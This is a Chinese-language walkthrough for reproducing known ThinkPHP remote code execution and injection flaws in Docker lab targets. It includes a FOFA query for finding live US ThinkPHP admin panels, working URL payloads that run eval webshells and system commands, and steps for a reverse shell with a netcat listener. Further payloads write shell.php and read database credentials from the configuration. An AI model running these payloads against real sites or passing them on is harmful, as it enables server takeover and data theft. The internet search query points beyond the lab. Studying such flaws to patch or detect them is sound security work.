Thinkphp简介
Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms(内容管理系统)就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp 开发的网站。
Thinkphp常见漏洞影响版本
ThinkPHP2.x 任意代码执行漏洞
ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP3.2.X find_select_delete注入
ThinkPHP3.X order_by注入漏洞
ThinkPHP5.0.X sql注入漏洞
ThinkPHP5.0.10 缓存函数设计缺陷可导致Getshell
ThinkPHP5 SQL注入漏洞&&敏感信息泄露
ThinkPHP5.X order_by注入漏洞
ThinkPHP5.X 远程代码执行
FOFA搜索
header="thinkphp" && country="US" header="thinkphp" && country="US" && title="后台管理"
Thinkphp 2.x 任意代码执行漏洞
漏洞简介
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
漏洞复现
- docker搭建靶场环境
ls
cd thinkphp
ls
cd 2-rce
ls
docker-compose up -d
-
访问靶场地址。
-
验证漏洞是否存在。
http://171.16.1.106:8080/index.php?s=/index/index/name/${@phpinfo()}
或者
http://171.16.1.106:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
- 构造poc
http://171.16.1.106:8080/index.php?s=a/b/c/${@print(eval($_POST[zsyy]))}
-
使用蚁剑测试连接。
-
getshell。
-
构造poc,使用抓包工具burp suite,修改数据包插入poc。
抓包后发送到重发器
更换http请求方式为post。
修改包数据,检验漏洞。
发现执行成功。
Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)
漏洞简介
Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞
影响版本:
Thinkphp 5.0.0~ 5.0.23
漏洞复现
- docker搭建靶场环境
ls
cd thinkphp
ls
cd 5.0.23-rce
ls
docker-compose up -d
-
访问靶场地址。
-
构造poc,使用抓包工具burp suite,修改数据包插入poc。
反弹shell
-
在攻击机新建xx.sh,写入bash反弹shell命令。
IP为攻击机的ip,端口自定义
-
攻击机开启监听。
python3 -m http.server 80
另开一个窗口执行:
nc64.exe -lvp 6666
- 使用抓包工具burp suite,修改数据包。
- 成功反弹shell。
ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)
原理:框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。
影响版本:
ThinkPHP 5.0.5-5.0.22 || 5.1.0-5.1.30
漏洞复现
- docker搭建靶场环境。
ls
cd thinkphp
ls
cd 5-rce
ls
docker-compose up -d
- 访问靶场。写入poc。
poc1:
ip+/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1
poc2:
5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x:
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #命令执行